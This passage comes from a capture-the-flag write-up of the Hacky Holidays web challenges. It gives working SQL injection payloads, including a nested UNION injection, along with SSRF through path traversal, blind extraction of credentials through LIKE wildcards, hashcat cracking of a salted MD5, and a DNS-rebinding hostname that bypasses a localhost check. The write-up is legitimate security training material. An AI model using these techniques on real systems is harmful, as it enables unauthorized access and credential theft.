Ok, but HOW? Username, First Name, and Last Name are all restricting characters. Password is using MD5 Hashing, which is fixed-length to 32 characters. Age? It’s a number.

I’ve taken it all in, then chased my tail for a few hours until I figured out how this can be attacked.

Well, I finally did a Google search for intval and found out it accepts a bunch of stuff, not only digits. The interesting thing is that it accepts and transforms Scientific E notation. For example: 1e1 == 10, 1e2 == 100, 1e3 = 1000. So, the age is limited to 3 chars, but with this, it can be as long as 10 characters. I didn’t want to abuse my newfound powers, so I only used 1e3 to push the line by one character. Anything from 1e3 to 1e9 will work here. I intercepted the request in Burp and manually changed the value of the age.

  • Username: nytr0gen
  • Password: test
  • Age: 1e3
  • First Name: test
  • Last Name: YYYYYYYYYYYYYYY

Registered with these credentials and got the flag. Also, a link to the next step at /r3c0n_server_4fdk59

{F1139772}

Challenge XI - Recon Server πŸ’‰πŸ€―

The Grinch has been tracking Santa Claus for the last few years, trying to locate his secret workshop. I’ve gained access to the server that hosts the photo albums. Let’s take a look inside!

{F1139780}

It’s strange that the picture link looks like this https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpb…. That’s a Base 64. A juicy one.

> echo 'eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzEzZDc0NTU0YzMwZTEwNjk3MTRhNWE5ZWRkYThjOTRkLmpwZyIsImF1dGgiOiI5NGZiMzk4ZDc4YjM2ZTdjMDc5ZTc1NjBjZTlkZjcyMSJ9' | base64 -d | jq
{
  "image": "r3c0n_server_4fdk59/uploads/13d74554c30e1069714a5a9edda8c94d.jpg",
  "auth": "94fb398d78b36e7c079e7560ce9df721"
}

Trying to view that image directly will result in an error. That means I really need this JSON.

Changing anything in the auth parameter resulted in an error. The same for theimageparameter. That means theauth parameter is a verification hash for the image.

I didn’t really want to try to bruteforce that hash :)) That’s basically the last measure.

I did a directory bruteforce that uncovered some stuff.

> ffuf -u 'https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/FUZZ' -w $COMMONDIR -mc all -fc 404
api                     [Status: 200, Size: 2390, Words: 888, Lines: 54]
api/experiments         [Status: 401, Size: 64, Words: 9, Lines: 1]
picture                 [Status: 200, Size: 21, Words: 3, Lines: 1]
uploads                 [Status: 403, Size: 145, Words: 3, Lines: 7]

I know picture and uploads. But api is new. Note: /api/experiments is a false positive because /api/anythingandeverything will respond with 401 as well.

{F1139776}

These look interesting, but from my point of view, I keep getting 401 and 404β€”possibly randomly :)). I did bruteforce with bigger lists, bruteforcing parameters, looked for hidden comments, searched for GitHub leaks.

I realized I might not have given enough attention to the /album?hash=jdh34k. I tried the classic single quote and double quote, hopeful that I can trigger an error. Nothing. What about jdh34k' and 1='1. This incredibly worked.

Now I wanted to get this one by hand, just because I spent so much figuring out sqlmap for the other challenge, I was tired of it. I’ve gone old school. There’s this really nice tutorial that might be helpful to follow along.

Payload Status Code
jdh34k’ and 1='1 200
jdh34k’ and 1='0 404
jdh34k’ and 1=β€˜1’;– 200

This one looks like it might be possible to output the results with UNION. The first step is to determine the number of columns with ORDER BY. The payload is jdh34k' order by 3;--. Then use UNION to see the possible outputs. Final payload is jdh34k' and 1=0 union all select 1,2,3;--.

{F1139782}

I noticed here that only the 3 is reflected on the page. Maybe the other two parameters are used for some stuff. Also, there are 2 photos on the page. If I change the 1 to a 2 or a 3, the number of photos will change as well. Anything else, and the photos will disappear.

I finally gave in and used sqlmap to have a better understanding of what I’m dealing with. I dumped everything. Using the data I got, I built the following diagram:

{F1139778}

Following the diagram, the vulnerable query should look something like this:

SELECT id, hash, name
FROM album
WHERE hash = '$input_hash'

Something also noteworthy from the diagram is that the auth parameter is not in the database. That means it might be generated at runtime? This gives me hope for a Server Side Request Forgery attack.

Going forward, I already figured out that the hash column might be useless. And in my mind, the id was somehow used to get these photos. And maybe that photos query is vulnerable as well. Tried the same payload, 1' and 1='1, and I got the same number of photos. Tried 1='0, and I got no photos as a result. LOL! This will be tough!

So basically, my initial payload was jdh34k' and 1=0 union all select 1,2,3;--, and the vulnerable parameter is 1. So the new payload is jdh34k' and 1=0 union all select "1' and 1='1",2,3;--… That’s sick!

For simplicity, the table of payloads from below will include only the vulnerable parameter from inside:

Payload Num of Photos
1’ and 1='1 2
1’ and 1='0 0
1’ order by 3;– 2
1’ order by 4;– 0
1’ and 1=0 union all select 4,5,6;– 1

The plot thickens. The final payload is jdh34k' and 1=0 union all select "1' and 1=0 union all select 4,5,6;--;--",2,3;--. That’s a handful!

The photo that appears has the image set to r3c0n_server_4fdk59/uploads/6 with a valid auth. I got this!

{F1139781}

Just for the fun of it, the query for getting the photos should be something like:

SELECT id, album_id, photo
FROM photos
WHERE album_id = '$result_album_id'

And a Path Traversal should be possible from this point with ../. I already know I should be targeting /api. Only need to write a proper script to make the requests.

And I did. The script can be seen by downloading {F1139742}. I ran it once with the common wordlist, noticed a bunch of Expected HTTP status 200, Received 404, filtered these out, ran it again.

> python brute_dirs.py
/api/ping - Invalid content type detected
/api/user - Invalid content type detected

It seems that for status code 200, it will not show the result unless the Content-Type matches the one of an image. This is unfortunate, and my SSRF seems to be a Blind SSRF. But maybe status codes will suffice.

Let’s try to find parameters, I guess. For /api/ping, I didn’t find a thing. But for /api/user, the gods favored me. The parameters are taken from burp-parameter-names.txt wordlist from SecLists. Oh, and the script is a bit modified {F1139743}.

> python brute_params.py
/api/user?username=test - Expected HTTP status 200, Received: 204
/api/user?password=test - Expected HTTP status 200, Received: 204

I found the parameters to be username andpassword. And they do seem to work separately. My intuition tells me that if this endpoint was meant for internal usage, it should be working as a search. The first thing I tried is if the endpoint was accepting wildcards (% and _). More details about this type of query in this article about SQL LIKE operator.

I tried some requests by hand (with the help of my script to sign it). Note: The percent sign % is URL encoded in the table below as %25.

URL Response
/api/user?username=test Expected HTTP status 200, Received: 204
/api/user?username=%25 Invalid content type detected
/api/user?username=a%25 Expected HTTP status 200, Received: 204
/api/user?username=g%25 Invalid content type detected
/api/user?username=gr%25 Invalid content type detected

Yes! My theory of the internal user search is valid. I changed the script a little bit and ran it. Final changes can be seen by downloading {F1139741}.

> python brute_credentials.py username
g
gr
gri
grin
grinc
grinch
grincha
grinchad
grinchadm
grinchadmi
grinchadmin

> python brute_credentials.py password
s
s4
s4n
s4nt
s4nt4
s4nt4s
s4nt4su
s4nt4suc
s4nt4suck
s4nt4sucks

The credentials are:

  • Username: grinchadmin- Password:s4nt4sucks

And the next step seems to be the login page at https://hackyholidays.h1ctf.com/attack-box/login. Using the credentials I found, I got access to the Grinch Network Attack Server. I finally feel like I have a chance to stop the bad guy!

{F1139779}

Challenge XII - Attack Box πŸ’£

{F1139799}

This is it! The final battle! Will the Grinch succeed in destroying Christmas for everyone? Or will I be able to save Santa’s servers? Keep watching!

With the credentials found in the previous challenge, I was able to login to Grinch Network Attack Server. Here I can see 3 IP Addresses and buttons to attack them. These IPs must be Santa’s key servers.

{F1139788}

The flow of the application is the following:

  1. Fixed IP Addresses are presented with a base64 payload for the attack.
  2. Clicking on any of them will load /launch?payload=eyJ0…. Each server has a unique IP address and a unique hash inside that Base64 encoded JSON.
  3. The launch endpoint will generate an unique hash for the attack. In my preview that is /launch/cc2f348ccc3d7d77db26a344910f7150.
  4. This page makes JSON requests to /launch/cc2f348ccc3d7d77db26a344910f7150.json?id=0 to check for new updates, keeping count of the last ID.

And that’s about all there is here. I tried directory bruteforcing and everything else I could think of.

There are two inputs I see here that can be abused.

The first potential input is the id parameter on the API endpoint. I tried SQL Injection again, but no luck this time. What about IDOR, an access control vulnerability? Nope. I gave up on this one.

The base64 encoding looks juicy. And it proved in the past to bring some results.

> echo 'eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==' | base64 -d | jq
{
  "target": "203.0.113.33",
  "hash": "5f2940d65ca4140cc18d0878bc398955"
}

That hash is bound to the target. Similar to the previous challenge. But I don’t see a way to generate them this time around.

Maybe the hash is generated after the host is resolved? I’m thinking that if I use an A record on a domain, resolving to 203.0.113.33, it may check the hash only after resolving the DNS.

There’s this interesting service that I use from alf.nu/DNS. To have an A record for that IP, I must simply use 203-0-113-33.4i.am. I tried, and the response was Invalid Protection Hash.

I tried spaces before and after the IP address, I tried converting the IP to a bunch of weird formats at vultr.com/resources/ipv4-converter/. I was about to give up. I actually went to sleep early that day because I had no more ideas to break this up.

Then the idea came to me. As if I was getting inspiration from a higher power. Woke up with the energy to break this apart!

So the protection hash is using MD5. Easy to spot because it’s kind of the only hash with 32 characters hexadecimal. Side Note: SHA1 has 40 characters hexadecimal. This might come in handy.

And the hash is possibly salted or transformed in some way. Because md5("203.0.113.33") != "5f2940d65ca4140cc18d0878bc398955". And the tools I used in one of the previous challenges couldn’t find a match for any of the three hashes.

My idea was that the hash might be built in one of the following ways:

  • md5("203.0.113.33" + "RANDOM_WORD")
  • md5("RANDOM_WORD" + "203.0.113.33")

I read this nice tutorial about cracking salted MD5 and went to work. Oh, let’s not forget the important part, I downloaded the rockyou.txt wordlist from github.com/brannondorsey/naive-hashcat/releases/.

I created a file with the 3 hashes I found and their corresponding IPs. I added a test hash to be sure that everything worked properly and saved them as hashes.txt.

5f2940d65ca4140cc18d0878bc398955:203.0.113.33
2814f9c7311a82f1b822585039f62607:203.0.113.53
5aa9b5a497e3918c0e1900b2a2228c38:203.0.113.213
05a671c66aefea124cc08b76ea6d30bb:test

I ran two hashcat commands, each one for a different hash+salt scheme.

> hashcat -m 20 -a 0 hashes.txt ./rockyou.txt
hashcat (v6.1.1) starting...

Hashes: 4 digests; 4 unique digests, 4 unique salts

Dictionary cache hit:
* Filename..: ./rockyou.txt
* Passwords.: 14344384

05a671c66aefea124cc08b76ea6d30bb:test:test

Session..........: hashcat
Status...........: Exhausted
Hash.Name........: md5($salt.$pass)
Hash.Target......: hashes.txt
Guess.Base.......: File (./rockyou.txt)

> hashcat -m 10 -a 0 hashes.txt ./rockyou.txt
hashcat (v6.1.1) starting...

Hashes: 4 digests; 4 unique digests, 4 unique salts

Dictionary cache hit:
* Filename..: ./rockyou.txt
* Passwords.: 14344384

5f2940d65ca4140cc18d0878bc398955:203.0.113.33:mrgrinch463
2814f9c7311a82f1b822585039f62607:203.0.113.53:mrgrinch463
5aa9b5a497e3918c0e1900b2a2228c38:203.0.113.213:mrgrinch463

Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5($pass.$salt)
Hash.Target......: hashes.txt
Guess.Base.......: File (./rockyou.txt)

That went smooth. The Protection Hash is MD5 salted with the word mrgrinch463.

The complicated part comes with encoding everything. I have to base64 encode a JSON with a variable target and an MD5 based on that target and a salt. Easy peasy, that’s like 5 steps :)). I was thinking of using CyberChef, but I also realized I never used Hackvertor before. What’s there to lose?

I was really impressed with the diversity of options and how intuitive it is to use. I built an encoding in the extension’s interface, tested it to see if the output matches what I need, then used the encoding input into Burp Repeater to test different targets because the extension encodes the stuff automagically while sending the request.

{F1139785}

Believe me, I tried to use IP addresses that I control in there, and I didn’t get any ping from the Grinch Network Attack Server. It seems like it is not yet working. Maybe it’s in Demo Mode at the moment. I don’t know. It doesn’t seem to bring down Santa’s servers either. It means I still have time.

It does resolve DNS. If I input a domain name, it gets resolved. Using requestbin.net/dns, I can see a hit from AWS IPs, but nothing interesting there.

{F1139786}

The mission is to β€œfind a way to stop the Grinch from launching the Denial of Service attack”. What if I try to DDOS the Grinch’s server.

I can do that by launching an attack to localhost.

{F1139787}

This was not about to be that easy! One thing I noticed is that in the response, there are two places where the domain name is resolved. If the domain name has two A records, the first resolve will point to one record, and the second resolve will point to the other one! That could be useful because the localhost check seems to be made after the first resolve.

This is tricky to get right. Sometimes it works on the first try. Sometimes it needs 10-20 retries. But it eventually works.

I used alf.nu/DNS for this one with the following payload 1s.203-0-113-33.but-50-pct.127-0-0-1.4i.am.

{F1139783}

Luckily, it worked the first time. I’ve taken down Grinch Networks and saved the holidays!

{F1139784}

Ending Notes πŸ“œ

This CTF has exceeded all my expectations. I expected some chill and easy challenges for the holidays and met hardcore vulnerabilities from very creative organizers. And I finally had the opportunity to understand how to use sqlmap the right way!

It’s been a fantastic CTF. I’m grateful for the amazing creators of the challenge. And in this interesting year, I’m grateful to have spent time with my family over the holidays!

Oh, one more thing! I thought I was saving Christmas alone this holiday season. I found out, after I finished the challenge, that I am never alone. A lot of people went after the Grinch on the Hacker101 Discord.

In the end, I’d like to thank the Grinch for helping all of us appreciate more this time of the year!

{F1139791}

References

Impact

.